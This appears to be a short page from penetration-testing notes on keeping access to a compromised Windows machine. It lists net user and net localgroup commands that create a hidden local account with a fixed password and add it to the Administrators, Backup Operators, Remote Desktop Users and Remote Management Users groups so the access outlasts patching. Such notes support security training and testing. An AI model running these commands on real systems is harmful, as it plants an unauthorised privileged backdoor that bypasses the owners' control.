Maintaining Access

If the system is later patched, then you'll still have access.

Create user

# Create user John
net user John Pass /add

# Add user John to the Administrator group
net localgroup "Administrators" John /add

# If Administrator is restricted
net localgroup "Backup Operators" John /add
# This group allows users to read and write any file or registry key.
# Meant for backup purposes without full admin privileges.

# Add to groups for RDP & Winrm Access
net localgroup "Remote Desktop Users" John /add
net localgroup "Remote Management Users" John /add

# Verify
Get-LocalGroupMember -Group "Remote Management Users"

Enable RDP

Last updated